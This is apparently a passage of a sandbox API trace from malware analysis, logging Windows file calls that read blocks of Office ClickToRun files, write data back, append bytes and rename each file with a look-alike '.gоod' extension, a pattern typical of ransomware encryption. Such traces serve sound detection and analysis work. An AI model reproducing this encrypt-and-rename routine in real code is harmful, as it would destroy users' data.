[0084.103] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0084.103] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0084.103] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0084.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0084.104] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0084.104] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33fe3c8 | out: lpFileInformation=0x33fe3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec)) returned 1 [0084.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0084.105] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.105] GetFileType (hFile=0x6b4) returned 0x1 [0084.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.105] GetFileType (hFile=0x6b4) returned 0x1 [0084.105] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0084.105] ReadFile (in: hFile=0x6b4, lpBuffer=0x33fe8f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x33fe8f0*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0084.107] CloseHandle (hObject=0x6b4) returned 1 [0084.107] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.107] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.107] GetFileType (hFile=0x6b4) returned 0x1 [0084.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.107] GetFileType (hFile=0x6b4) returned 0x1 [0084.107] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x5bec [0084.107] WriteFile (in: hFile=0x6b4, lpBuffer=0x33ffc40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x33ffc40*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0084.108] CloseHandle (hObject=0x6b4) returned 1 [0084.111] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.111] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.111] GetFileType (hFile=0x6b4) returned 0x1 [0084.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.111] GetFileType (hFile=0x6b4) returned 0x1 [0084.111] ReadFile (in: hFile=0x6b4, lpBuffer=0x3401ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x3401ff8*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0084.123] CloseHandle (hObject=0x6b4) returned 1 [0084.123] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.123] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.123] GetFileType (hFile=0x6b4) returned 0x1 [0084.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.123] GetFileType (hFile=0x6b4) returned 0x1 [0084.123] WriteFile (in: hFile=0x6b4, lpBuffer=0x3400cc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x3400cc8*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0084.123] CloseHandle (hObject=0x6b4) returned 1 [0084.124] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x7c [0084.125] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.gоod", lpFilePart=0x0) returned 0x81 [0084.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0084.125] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e5a9798, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc)) returned 1 [0084.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0084.125] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml.gоod")) returned 1 [0084.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0084.126] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), fInfoLevelId=0x0, lpFileInformation=0x34806b8 | out: lpFileInformation=0x34806b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67)) returned 1 [0084.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0084.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.126] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.127] GetFileType (hFile=0x6b4) returned 0x1 [0084.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.127] GetFileType (hFile=0x6b4) returned 0x1 [0084.127] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0084.127] ReadFile (in: hFile=0x6b4, lpBuffer=0x3480c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x3480c00*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0084.128] CloseHandle (hObject=0x6b4) returned 1 [0084.129] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.129] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0084.129] GetFileType (hFile=0x6b4) returned 0x1 [0084.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.129] GetFileType (hFile=0x6b4) returned 0x1 [0084.129] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1dff67 [0084.129] WriteFile (in: hFile=0x6b4, lpBuffer=0x3481f90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x3481f90*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0084.131] CloseHandle (hObject=0x6b4) returned 1 [0084.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.715] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.802] GetFileType (hFile=0x768) returned 0x1 [0084.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.802] GetFileType (hFile=0x768) returned 0x1 [0084.802] ReadFile (in: hFile=0x768, lpBuffer=0x33dc200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x33dc200*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0084.814] CloseHandle (hObject=0x768) returned 1 [0084.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.815] GetFileType (hFile=0x768) returned 0x1 [0084.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.815] GetFileType (hFile=0x768) returned 0x1 [0084.815] WriteFile (in: hFile=0x768, lpBuffer=0x3369338*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x3369338*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0084.815] CloseHandle (hObject=0x768) returned 1 [0084.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml", lpFilePart=0x0) returned 0x81 [0084.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.gоod", lpFilePart=0x0) returned 0x86 [0084.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0084.815] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2ec37f65, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1dff77)) returned 1 [0084.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0084.815] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.platform.culture.man.xml.gоod")) returned 1 [0084.816] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0084.816] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x3458840 | out: lpFileInformation=0x3458840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693)) returned 1 [0084.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0084.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.817] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.817] GetFileType (hFile=0x768) returned 0x1 [0084.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.818] GetFileType (hFile=0x768) returned 0x1 [0084.818] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0084.818] ReadFile (in: hFile=0x768, lpBuffer=0x3458d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x3458d58*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0084.820] CloseHandle (hObject=0x768) returned 1 [0084.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 